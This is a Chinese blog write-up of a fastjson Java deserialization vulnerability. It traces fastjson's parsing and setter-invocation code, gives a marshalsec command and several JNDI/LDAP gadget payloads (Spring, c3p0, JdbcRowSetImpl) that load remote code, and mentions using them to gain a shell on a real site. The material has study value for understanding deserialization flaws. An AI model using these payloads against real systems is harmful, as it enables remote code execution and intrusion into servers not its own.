fastjson 调试利用记录

前几天和雨日一个站,发现有fastjson的问题,死活利用不成功。找大佬们帮忙要来exp弹shell成功了,事后学习下原理。
之前从来没搞过java,于是拉着雨对着Ricter的博客一起跟了一遍流程,带我学习了一波。

fastjson 解析过程

跟了一遍 fastjson。对代码细节不关心的同学,可以直接跳过这个过程。

从 JSON.parse 开始,把PoC作为输入,F7一路跟下去,可以看到 fastjson 的解析过程。

我们输入的第一个字符为{,这表示解析出来的结果是一个 Object。

1
2
3
4
//./src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java:public Object parse(Object fieldName)
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在这里调用了parseObject来继续解析。

首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。

1
2
3
4
5
6
//./src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java:public final Object parseObject(final Map object, Object fieldName)
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}

在加载这个类的时候比较复杂,如果是java里常见的基本类型就直接新建一个对应的实例,fastjson里也内置了一些常见类的反序列化方法。由于现在我们的类并不常见,也不在内置的黑名单里,于是最终调用了createJavaBeanDeserializer来进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//./src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:public ObjectDeserializer getDeserializer(Class<?> clazz, Type type)
if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
...
}
...
String className = clazz.getName();
className = className.replace('$', '.');
for (int i = 0; i < denyList.length; ++i) { //黑名单检查
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
...
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
this.putDeserializer((Type)type, (ObjectDeserializer)derializer);
return (ObjectDeserializer)derializer;

JavaBeanDeserializer的构造函数里,我们发现调用了JavaBeanInfo.build

1
2
3
4
//./src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type)
public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type){
this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));
}

JavaBeanInfo.build里,会把目标类的方法和字段遍历一遍,分不同情况进行处理。类里面没有用@JSONField标记过的方法需要满足一些条件才能被加到列表里。

比如有些方法需要满足以下条件。

  • 方法名需要大于4
  • 不能是静态方法
  • 返回类型要么是void要么是当前类
  • 参数只有一个
  • 方法名需要以set开头。

这些方法是典型的类成员变量的setter方法。通过这些方法的名字可以推测出对应的成员变量的名字。除了按照javaBean的规范来解析,fastjson还会推测一些其他的写法。

  • 第4个字母大写或者是Unicode的方法,取set后面的字符并剩下第一个字符转成小写当做变量名
  • 第4个字母是_,取_后面的字符当做变量名
  • 第4个字母是f,取set后面的字符当做变量名
  • 第5个字母大写并且长度大于5,取set后面的字符并剩下第一个字符转成小写当做变量名
1
2
3
4
5
6
7
8
9
10
//./src/main/java/com/alibaba/fastjson/util/JavaBeanInfo.java:public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy)
...
if (methodName.length() < 4) continue;
if (Modifier.isStatic(method.getModifiers())) continue;
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) continue;
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) continue;
...
if (!methodName.startsWith("set")) continue;
...

同样的,对于public static fieldsgetter方法也会加入到列表里。

生成这些列表的时候也会判断成员变量是不是public的,会做一个标记说明是否能直接访问。

1
2
3
4
5
6
7
8
9
10
//./src/main/java/com/alibaba/fastjson/util/FieldInfo.java
if (field != null) {
int modifiers = field.getModifiers();
fieldAccess = ((modifiers & Modifier.PUBLIC) != 0 || method == null);
fieldTransient = Modifier.isTransient(modifiers)
|| TypeUtils.isTransient(method);
} else {
fieldAccess = false;
fieldTransient = false;
}

接下来就要进行deserialze操作了。
首先遍历前面生成的类的fields表,先对他们用对应的Deserializers处理一遍。猜测这步是为了给成员变量赋一个默认的值。
在遍历完成之后,再解析提交的json里的数据,调用parseField进行反序列化的处理。parseField处理了Feature.SupportNonPublicField的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//./src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features)
for (int fieldIndex = 0;; fieldIndex++) {
boolean matchField = false;
...
if (fieldIndex < sortedFieldDeserializers.length) {
fieldDeser = sortedFieldDeserializers[fieldIndex];
fieldInfo = fieldDeser.fieldInfo;
fieldClass = fieldInfo.fieldClass;
feildAnnotation = fieldInfo.getAnnotation();
}
...
if (fieldDeser != null) {
...
else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
continue;
}
}
if (!matchField) {
key = lexer.scanSymbol(parser.symbolTable);
...
}
if (matchField) {
...
} else {
boolean match = parseField(parser, key, object, type, fieldValues);
...

parseField中,选择合适的反序列化的方法,最终在setValue里调用类的setter方法。

1
2
3
4
5
6
//./src/main/java/com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java:public void setValue(Object object, Object value)
if (fieldInfo.getOnly) {
...
} else {
method.invoke(object, value);
}

fastjson 的执行逻辑以及利用思路

简单而言,fastjson 会从客户端接收一段json数据,并解析成为一个类的实例。
fastjson 有个叫做@type的特殊的key,可以指定当前json数据被反序列化为哪个类。这个类不能在内置的黑名单里。
类里不止有public类型的成员变量,还会有private的。
public类型的成员变量,可以直接为它赋值。对private的,需要调用对应的setter方法才能访问到这些变量,除非启用SupportNonPublicField这个特性。

利用的思路为,找到java里一些可以访问到的类,查看里面的一些setter方法除了设置变量之外还做了什么其他的可能造成危险的操作,通过反序列化这个类并填充数据,最终调用危险的setter方法,完成利用。

对于fastjson来说,只要调用了JSON.parse(text1);或者JSON.parseObject(text1, Object.class);即有可能出现问题,而不一定需要设置SupportNonPublicField,这个看具体的利用思路。

当然,除了这种可能造成rce的利用方式,还可以在知道源码的情况下或者猜测成员变量设置一些原始请求中没有的属性。如注册用户时的admin属性等。

fastjson rce的利用

Ricter大佬直接丢过来一个讲java反序列化的github地址,说思路同jackson。
在这个github里有人整理了一些可以利用的java类并给出了对应的poc。有直接执行bytecode的,也有JNDI的。

下载编译好之后
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"
即可生成用于jackson的payload。

1
2
3
4
5
6
7
["org.springframework.beans.factory.config.PropertyPathFactoryBean",{"targetBeanName":"ldap://localhost:1389/obj","propertyPath":"foo","beanFactory":["org.springframework.jndi.support.SimpleJndiBeanFactory",{"shareableResources":["ldap://localhost:1389/obj"]}]}]
["java.util.HashSet",[["org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",{"beanFactory":["org.springframework.jndi.support.SimpleJndiBeanFactory",{"shareableResources":["ldap://localhost:1389/obj"]}],"adviceBeanName":"ldap://localhost:1389/obj"}],["org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",{}]]]
["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"}]
["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"ldap://localhost:1389/obj","loginTimeout":0}]

Ricter大佬在微博上发的利用com.sun.rowset.JdbcRowSetImpl这个类的方法可以在github里附带的一个pdf里找到。跟到这个类里去,发现在setAutoCommit的时候会调用this.connect(),在connect()里能加载远程的方法执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//com.sun.rowset.JdbcRowSetImpl
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

在利用的时候,开启rmi服务,发现会有请求过来,但是死活利用不成功。最后Tomato大佬给出问题的原因和解决方案,把服务器的hostname设置成外网ip就行了。

另外ph大佬在微博上提到 java 8u121 增加了trustURLCodebase选项,默认打不了了。
虽然有些利用方法可能在将来失效,但是一些漏洞产生原理还是值得学习的。

最后感谢雨神带我日站,感谢Ricter大佬在微博上发fastjson的exp指点我用marshalsec,感谢Tomato大佬指明rmi服务器无法连接成功的原因。

这几天发现大佬们又开始讨论fastjson的利用问题,那个站大概就是起因吧。:P

参考资料

https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up
http://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review.html
https://github.com/mbechler/marshalsec

分享到 评论